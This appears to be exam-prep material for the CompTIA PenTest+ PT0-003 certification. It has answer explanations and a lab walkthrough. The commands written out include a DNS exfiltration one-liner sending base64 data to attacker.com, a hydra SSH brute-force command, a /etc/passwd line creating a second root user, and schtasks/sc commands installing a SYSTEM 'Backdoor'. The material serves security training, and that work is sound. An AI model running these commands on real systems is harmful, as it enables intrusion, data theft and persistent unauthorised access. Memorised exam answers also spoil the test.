PT0-003 CompTIA Exam Lab Questions

DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices.

Encoding the data and exfiltrating through DNS (Option A):

DNS is often overlooked by DLP systems because it is required for network functionality.

Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries.

Example method

echo "Sensitive Data" | base64 | nslookup -q=TXT attacker.com

The command that would most likely exploit the services is:

hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

The appropriate set of commands to escalate privileges is:

echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd

The remediations that should be taken after the successful privilege escalation are:

Remove the SUID bit from cp.

Make backup script not world-writable.

Comprehensive Step-by-Step Explanation of the Simulation

Part 1: Exploiting Vulnerable Service

Nmap Scan Analysis

Command: nmap -sC -T4 192.168.10.2

Purpose: This command runs a default script scan with timing template 4 (aggressive).

Output:

bash

Copy code

Port State Service

22/tcp open ssh

23/tcp closed telnet

80/tcp open http

111/tcp closed rpcbind

445/tcp open samba

3389/tcp closed rdp

Ports open are SSH (22), HTTP (80), and Samba (445).

Enumerating Samba Shares

Command: enum4linux -S 192.168.10.2

Purpose: To enumerate Samba shares and users.

Output:

makefile

Copy code

user:[games] rid:[0x3f2]

user:[nobody] rid:[0x1f5]

user:[bind] rid:[0x4ba]

user:[proxy] rid:[0x42]

user:[syslog] rid:[0x4ba]

user:[www-data] rid:[0x42a]

user:[root] rid:[0x3e8]

user:[news] rid:[0x3fa]

user:[lowpriv] rid:[0x3fa]

We identify a user lowpriv.

Selecting Exploit Command

Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.

Explanation:

-l lowpriv: Specifies the username.

-P 500-worst-passwords.txt: Specifies the password list.

-t 4: Uses 4 tasks/threads for the attack.

ssh://192.168.10.2:22: Specifies the SSH service and port.

Executing the Hydra Command

Result: Successful login as lowpriv user if a match is found.

Part 2: Privilege Escalation and Remediation

Finding SUID Binaries and Configuration Files

Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l

Purpose: To find world-writable files.

Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l

Purpose: To find files with SUID permission.

Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7

Purpose: To identify users with bash shell access.

Selecting Privilege Escalation Command

Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd

Purpose: To create a new root user entry in the passwd file.

Explanation:

root2: Username.

5ZOYXRFHVZ7OY: Password hash.

::0:0: User and group ID (root).

/root: Home directory.

/bin/bash: Default shell.

Executing the Privilege Escalation Command

Result: Creation of a new root user root2 with a specified password.

Remediation Steps Post-Exploitation

Remove SUID Bit from cp:

Command: chmod u-s /bin/cp

Purpose: Removing the SUID bit from cp to prevent misuse.

Make Backup Script Not World-Writable:

Command: chmod o-w /path/to/backup/script

Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.

Execution and Verification

Verifying Hydra Attack:

Run the Hydra command and monitor for successful login attempts.

Verifying Privilege Escalation:

After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.

Implementing Remediation:

Apply the remediation commands to secure the system and verify the changes have been implemented.

By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

Based on the CVSS (Common Vulnerability Scoring System) and EPSS (Exploit Prediction Scoring System) scores, Target 1 is the most likely to get attacked.

CVSS:

Definition: CVSS provides a numerical score to represent the severity of a vulnerability, helping to prioritize the response based on the potential impact.

Score Range: Scores range from 0 to 10, with higher scores indicating more severe vulnerabilities.

EPSS:

Definition: EPSS estimates the likelihood that a vulnerability will be exploited in the wild within the next 30 days.

Score Range: EPSS scores range from 0 to 1, with higher scores indicating a higher likelihood of exploitation.

Analysis:

Target 1: CVSS = 4, EPSS = 0.6

Target 2: CVSS = 2, EPSS = 0.3

Target 3: CVSS = 1, EPSS = 0.6

Target 4: CVSS = 4.5, EPSS = 0.4

Target 1 has a moderate CVSS score and a high EPSS score, indicating it has a significant vulnerability that is quite likely to be exploited.

Pentest References:

Vulnerability Prioritization: Using CVSS and EPSS scores to prioritize vulnerabilities based on severity and likelihood of exploitation.

Risk Assessment: Understanding the balance between impact (CVSS) and exploit likelihood (EPSS) to identify the most critical targets for remediation or attack.

By focusing on Target 1, which has a balanced combination of severity and exploitability, the penetration tester can address the most likely target for attacks based on the given scores.

=================

To reenter the system remotely after the patch for the recently exploited RCE vulnerability has been deployed, the penetration tester can use schtasks.exe and sc.exe.

schtasks.exe:

Purpose: Used to create, delete, and manage scheduled tasks on Windows systems.

Persistence: By creating a scheduled task, the tester can ensure a script or program runs at a specified time, providing a persistent backdoor.

Example:

schtasks /create /tn "Backdoor" /tr "C:\path\to\backdoor.exe" /sc daily /ru SYSTEM

sc.exe:

Purpose: Service Control Manager command-line tool used to manage Windows services.

Persistence: By creating or modifying a service to run a malicious executable, the tester can maintain persistent access.

Example:

sc create backdoor binPath= "C:\path\to\backdoor.exe" start= auto

Other Utilities:

rundll.exe: Used to run DLLs as applications, not typically used for persistence.

cmd.exe: General command prompt, not specifically used for creating persistence mechanisms.

chgusr.exe: Used to change install mode for Remote Desktop Session Host, not relevant for persistence.

netsh.exe: Used for network configuration, not typically used for persistence.

Pentest References:

Post-Exploitation: Establishing persistence is crucial to maintaining access after initial exploitation.

Windows Tools: Understanding how to leverage built-in Windows tools like schtasks.exe and sc.exe to create backdoors that persist through reboots and patches.

By using schtasks.exe and sc.exe, the penetration tester can set up persistent mechanisms that will allow reentry into the system even after the patch is applied.

=================